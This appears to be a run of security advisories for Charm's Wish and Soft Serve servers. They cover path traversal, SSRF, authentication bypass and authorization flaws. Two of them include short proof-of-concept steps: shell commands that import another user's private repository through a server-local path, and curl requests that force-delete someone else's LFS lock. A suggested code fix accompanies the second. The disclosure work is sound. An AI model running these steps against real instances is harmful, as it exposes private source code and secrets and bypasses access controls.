Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol. This issue has been patched in version 2.0.1.

Summary An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.

Details Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from pkg/ssh/cmd/cmd.go:172, which calls pkg/backend/user.go:46. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at pkg/backend/user.go:94.

The import command then passes the user-controlled REMOTE into pkg/backend/repo.go:102. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATAPATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.

The relevant vulnerable flow is: - pkg/ssh/cmd/import.go - pkg/ssh/cmd/cmd.go:172 - pkg/backend/user.go:94 - pkg/backend/repo.go:102

PoC Configuration: - Default local test configuration is sufficient. - SSH must be enabled. - At least two users are needed: one owner/admin and one low-privilege authenticated user.

Reproduction steps: 1. Start Soft Serve. 2. As an admin, create a private repo:

sh soft repo create secret -p

3. Create a second low-privilege user:

sh soft user create user1 --key "$USER1AUTHORIZEDKEY"

4. Seed the private repo with secret content:

sh git clone ssh://localhost:$SSHPORT/secret secret echo 'top secret' > secret/SECRET.txt git -C secret add SECRET.txt git -C secret commit -m 'first' git -C secret push origin HEAD

5. Confirm the low-privilege user cannot access the private repo directly:

sh usoft repo info secret

Expected result:

text Error: repository not found

6. As the low-privilege user, import the server-local bare repo path into a new repo:

sh usoft repo import stolen "$DATAPATH/repos/secret.git" --lfs-endpoint http://example.com

7. Clone the attacker-controlled imported repo and read the secret:

sh ugit clone ssh://localhost:$SSHPORT/stolen stolen-clone cat stolen-clone/SECRET.txt

Expected result:

text top secret

Notes: - The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.

Impact This is an authorization bypass and confidentiality issue.

Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.

Impacted parties: - Operators hosting Soft Serve for multiple users or teams - Owners of private repositories on the same instance - Any deployment where untrusted authenticated users can use repo import

Practical impact: - Theft of private source code - Disclosure of secrets committed to private repos - Exposure of unreleased or internal projects - Possible follow-on supply-chain risk if stolen code contains credentials or release material

Soft Serve is a self-hostable Git server for the command line. From version 0.6.0 to before version 0.11.4, an authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running repo import with a crafted --lfs-endpoint URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets. This issue has been patched in version 0.11.4.

Impact What kind of vulnerability is it? Who is impacted?

This issue impacts every Soft Serve instance.

A critical authentication bypass allows an attacker to impersonate any user (including Admin) by "offering" the victim's public key during the SSH handshake before authenticating with their own valid key. This occurs because the user identity is stored in the session context during the "offer" phase and is not cleared if that specific authentication attempt fails.

Patches Has the problem been patched? What versions should users upgrade to?

Yes, please upgrade to version 0.11.3 as soon as possible.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

You need to upgrade

LFS Lock Force-Delete Authorization Bypass

Summary

An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.

Severity

- CWE-863: Incorrect Authorization - CVSS 3.1: 5.4 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Affected Code

File: pkg/web/gitlfs.go Function: serviceLfsLocksDelete (lines 831–945) Endpoint: POST /<repo>.git/info/lfs/locks/:lockID/unlock

The control flow processes req.Force at line 905 before retrieving user context at line 919:

go // Line 905-916: Force delete executes immediately without authorization if req.Force { if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return // Returns here, never reaching user validation }

// Line 919: User context retrieved after force path has exited user := proto.UserFromContext(ctx)

Proof of Concept

Setup: Two users with write access to the same repository—User A (lock owner) and User B (attacker).

1. User A creates a lock: bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks \ -H "Authorization: Basic <useratoken>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"path": "protected-file.bin"}'

2. User B deletes User A's lock using force flag: bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \ -H "Authorization: Basic <userbtoken>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"force": true}'

3. Result: Lock deleted successfully with 200 OK. Expected: 403 Forbidden.

Suggested Fix

Retrieve user context and validate authorization before processing the force flag:

go user := proto.UserFromContext(ctx) if user == nil { renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{ Message: "unauthorized", }) return }

if req.Force { if !user.IsAdmin() { renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{ Message: "admin access required for force delete", }) return } if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return }

Impact

Affected Deployments: Soft Serve instances with LFS enabled and repositories with multiple collaborators.

Exploitation Requirements: - Authenticated session - Write access to target repository

Consequences: - Unauthorized deletion of other users' locks - Bypass of LFS file coordination mechanisms - Potential workflow disruption in collaborative environments

Limitations: Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.

Soft Serve is a self-hostable Git server for the command line. Versions prior to 0.11.1 have a SSRF vulnerability where webhook URLs are not validated, allowing repository administrators to create webhooks targeting internal services, private networks, and cloud metadata endpoints. Version 0.11.1 fixes the vulnerability.

Impact

Path traversal attack gives access to existing non-admin users to access and take over other user's repositories. A malicious user then can modify, delete, and arbitrarily repositories as if they were an admin user without explicitly giving them permissions.

Patches

This is patched in v0.8.2

Workarounds

Single user set-ups are not affected. This only affects multi-user Soft Serve set-ups that enable repository creation for users. Otherwise, upgrading is necessary to circumvent the attack.

Impact

A security vulnerability in Soft Serve could allow an unauthenticated, remote attacker to bypass public key authentication when keyboard-interactive SSH authentication is active, through the allow-keyless setting, and the public key requires additional client-side verification for example using FIDO2 or GPG. This is due to insufficient validation procedures of the public key step during SSH request handshake, granting unauthorized access if the keyboard-interaction mode is utilized. An attacker could exploit this vulnerability by presenting manipulated SSH requests using keyboard-interactive authentication mode. This could potentially result in unauthorized access to the Soft Serve.

Patches

Users should upgrade to the latest Soft Serve version v0.6.2 to receive the patch for this issue.

Workarounds

To workaround this vulnerability without upgrading, users can temporarily disable Keyboard-Interactive SSH Authentication using the allow-keyless setting.

References

https://github.com/charmbracelet/soft-serve/issues/389

A vulnerability in which attackers could forge HTTP requests to manipulate the charm data directory to access or delete anything on the server. This has been patched and is available in release v0.12.1. We recommend that all users running self-hosted charm instances update immediately. This vulnerability was found in-house and we haven't been notified of any potential exploiters. ### Additional notes Encrypted user data uploaded to the Charm server is safe as Charm servers cannot decrypt user data. This includes filenames, paths, and all key-value data. Users running the official Charm Docker images are at minimal risk because the exploit is limited to the containerized filesystem.